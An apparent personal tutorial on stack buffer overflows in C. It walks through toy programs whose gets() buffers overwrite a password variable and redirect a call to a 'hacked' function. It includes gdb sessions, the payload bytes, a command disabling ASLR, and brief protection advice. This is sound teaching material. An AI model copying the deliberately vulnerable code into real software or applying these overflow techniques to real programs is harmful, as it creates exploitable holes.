Buffer overflow attack

Explain with the code here the address and the buffer overflow in the memory with a diagram

#include <stdlib.h>
#include <stdio.h>

int main(void){
    char a = 'A';
    char b = 'A';
    char buf[10];

    printf("Sizeof: %ld\n", sizeof(char));
    printf("Sizeof: %ld\n", sizeof(int));
    printf("Value of a: %c\n", a);
    printf("Value of b: %c\n", b);
    printf("Address of a: %p\n", &a);
    printf("Address of b: %p\n", &b);
    printf("Address of buf: %p\n", &buf);
    for (int i = 0; i < 10; i++){
        printf("Address of buf %d: %p\n", i, &buf[i]);
    }

    return 0;
}

And we will execute:

$ gcc -o memories memories.c -fno-stack-protector -Wno-deprecated-declarations -Wno-all && ./memories
Sizeof: 1
Sizeof: 4
Value of a: A
Value of b: A
Address of a: 0x7ff7be1738bb
Address of b: 0x7ff7be1738ba
Address of buf: 0x7ff7be1738b0
Address of buf 0: 0x7ff7be1738b0
Address of buf 1: 0x7ff7be1738b1
Address of buf 2: 0x7ff7be1738b2
Address of buf 3: 0x7ff7be1738b3
Address of buf 4: 0x7ff7be1738b4
Address of buf 5: 0x7ff7be1738b5
Address of buf 6: 0x7ff7be1738b6
Address of buf 7: 0x7ff7be1738b7
Address of buf 8: 0x7ff7be1738b8
Address of buf 9: 0x7ff7be1738b9

Now, we will test to do a buffer overflow

#include <stdlib.h>
#include <stdio.h>
#include <string.h>

int main(void){
    char passwd[10];
    char buf[10];
    //memset(buf, 0, 10);
    strcpy(passwd, "password");

    gets(buf);
    printf("Buf: %s\n", buf);
    printf("Passwd: %s\n", passwd);

    if (strncmp(buf, passwd, 10) == 0){
        printf("Access granted\n");
    }
    else {
        printf("Access denied\n");
    }

    return 0;
}

Compilation:

$ gcc -o overflow overflow.c -fno-stack-protector -Wno-deprecated-declarations -Wno-all && ./overflow

We execute the code:

$ gcc -o overflow overflow.c -fno-stack-protector -Wno-deprecated-declarations -Wno-all && ./overflow
mypassword
Buf: mypassword
Passwd: 
Access denied
$ gcc -o overflow overflow.c -fno-stack-protector -Wno-deprecated-declarations -Wno-all && ./overflow
password
Buf: password
Passwd: password
Access granted

We execute the code again, but with the same pattern:

$ gcc -o overflow overflow.c -fno-stack-protector -Wno-deprecated-declarations -Wno-all && ./overflow
pentestingpentesting
Buf: pentestingpentesting
Passwd: pentesting
Access granted

We can see, with the buffer overflow, we change the passwd variable and we are granted.

Use case

Read variable from the memory

We will use gdb to read a variable from the memory. For that, we will use this C code:

#include <stdio.h>
#include <stdlib.h>

int main(void){
    int a = 0;
    int b = 5;
    int c = 10;
    printf("%d\n", c);
    return 0;
}

And we will compile the code:

$ gcc -ggdb -O0 -o test test.c

And now, we can execute gdb: gdb -q main. We will disassemble the file and add a breakpoint.

(gdb) disas main
Dump of assembler code for function main:
   0x0000555555555135 <+0>: push   %rbp
   0x0000555555555136 <+1>: mov    %rsp,%rbp
   0x0000555555555139 <+4>: sub    $0x10,%rsp
   0x000055555555513d <+8>: movl   $0x0,-0x4(%rbp)
   0x0000555555555144 <+15>:    movl   $0x5,-0x8(%rbp)
   0x000055555555514b <+22>:    movl   $0xa,-0xc(%rbp)
   0x0000555555555152 <+29>:    mov    -0xc(%rbp),%eax
   0x0000555555555155 <+32>:    mov    %eax,%esi
   0x0000555555555157 <+34>:    lea    0xea6(%rip),%rdi        # 0x555555556004
   0x000055555555515e <+41>:    mov    $0x0,%eax
   0x0000555555555163 <+46>:    call   0x555555555030 <printf@plt>
   0x0000555555555168 <+51>:    mov    $0x0,%eax
   0x000055555555516d <+56>:    leave  
   0x000055555555516e <+57>:    ret    
End of assembler dump.
(gdb) break *0x000055555555516d
Breakpoint 1 at 0x55555555516d: file main.c, line 10.

And you can run the program:

(gdb) run
Starting program: /home/geoffrey/Documents/C/overflow/main 
10

Breakpoint 1, main () at main.c:10
10  }

Now, we can use the print command to read the variable c:

(gdb) print c
$1 = 10

If we want to display in hex format:

(gdb) print/x c
$3 = 0xa

Execute a function

First, we need to disable the Randomize VA Space:

echo 0 > /proc/sys/kernel/randomize_va_space

Now, we will play with the memory address.

For this use case, we will try to execute a function with the buffer overflow attack. This is the code we use:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

void hacked(){
    printf("You have been hacked\n");
}
int main(void){
    int value;
    char buf[10];
    value = 0;
    gets(buf);
    if (value == 0x61616161){
        printf("You got it\n");
    }
    else
        printf("0x%08x\n", value);

    return 0;
}

We can compile it:

gcc -m32 -ggdb -o0 -Wno-all -fno-stack-protector -o main main.c

We disable all optimization with the parameter -ggdb and we disable the buffer overflow protection with the parameter -fno-stack-protector and we compile for 32bit with -m32.

If during the compilation, you have this error:

In file included from main.c:1:
/usr/include/stdio.h:27:10: fatal error: bits/libc-header-start.h: No such file or directory
   27 | #include <bits/libc-header-start.h>
      |          ^~~~~~~~~~~~~~~~~~~~~~~~~~
compilation terminated.

You must install the package: gcc-multilib

If we execute this code and put the data into it and with the buffer size of 10 characters:

printf "AAAAAAAAAA" | ./main
0x00000000

As you see in the example above, the result of the variable value has not been modified. We will put oversize the buffer of 10 and put data for modifying the value of our variable value:

printf "AAAAAAAAAAabcd" | ./main
0x64636261
Segmentation fault (core dumped)

The result of the variable value is 0x64636261 which is a (0x61), b (0x62), c (0x63) and d (0x64), you can see the result is reversed.

Now, we will try to execute the function hacked. First, we need to get the address for this function. So, go to gdb and run the program:

$ gdb -q main
Reading symbols from main...
(gdb) run
Starting program: /home/gbucchino/C/overflow/main 
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
aaaaa
0x00000000
[Inferior 1 (process 40544) exited normally]
(gdb) info addr hacked
Symbol "hacked" is a function at address 0x565561bd.

The address is 0x565561bd. With the address, we can modified the value of our variable and put the address as value:

$ printf "AAAAAAAAAA\xbd\x61\x55\x56" | ./main
0x565561bd
You have been hacked
Segmentation fault (core dumped)

That’s works đŸ™‚

We need to compile in 32bit:

gcc -m32 -fno-builtin -fno-stack-protector -z execstack -Wall -std=c11 -ggdb -O0 -o main main.c

Protection against buffer overflow

So, we saw how to execute a buffer overflow attack. The first step, it’s to enable the Randomize VA Space:

echo 2 > /proc/sys/kernel/randomize_va_space

https://en.wikipedia.org/wiki/Address_space_layout_randomization

In modern system, this variable is already set to 2. Also, we use the function gets. This function is deprecated. You must use fgets.

What is assembly registers ?

The assembly register is a storage area in CPU, called General-Purpose Registers. In the array below, you have an exhaustive list of different registers:

Register 32 bits 64 bits Comment
Accumulator EAX RAX It’s used for arithmetics, logical and I/O instructions
Counter ECX RCX It’s a counter for loops
Data EDX RDX Also used for I/O instructions
Base EBX RBX It’s a index for the value
Pointer ESP RSP It’s the stack pointer of the current data
Pointer EBP RBP Pointer to the base of the current stack frame
Index EDI RDI Pointer for manipulating string
Index EIP RIP Contain the next instruction pointer

Integer exploitable

If the program use atoi function for converting char into a integer, it's possible to exploit a vulnerability:

$ cat atoi.c
#include <stdio.h>
#include <stdlib.h>

int main(void){
    char input[10];
    int a;
    unsigned int score = 5;
    fflush(stdout);
    fgets(input, 10, stdin);
    a = atoi(input);
    score = score + a;
    printf("%ld\n", (unsigned long)score);
    return 0;
}
$ gcc -o atoi atoi.c && ./atoi
-67
4294967234

In the example above, we cast the variable the score to unsigned long and with a negative value, the cast failed. It's important to check the value before any operation.

References

http://csapp.cs.cmu.edu/3e/docs/gdbnotes-x86-64.pdf

https://0xrick.github.io/binary-exploitation/bof3/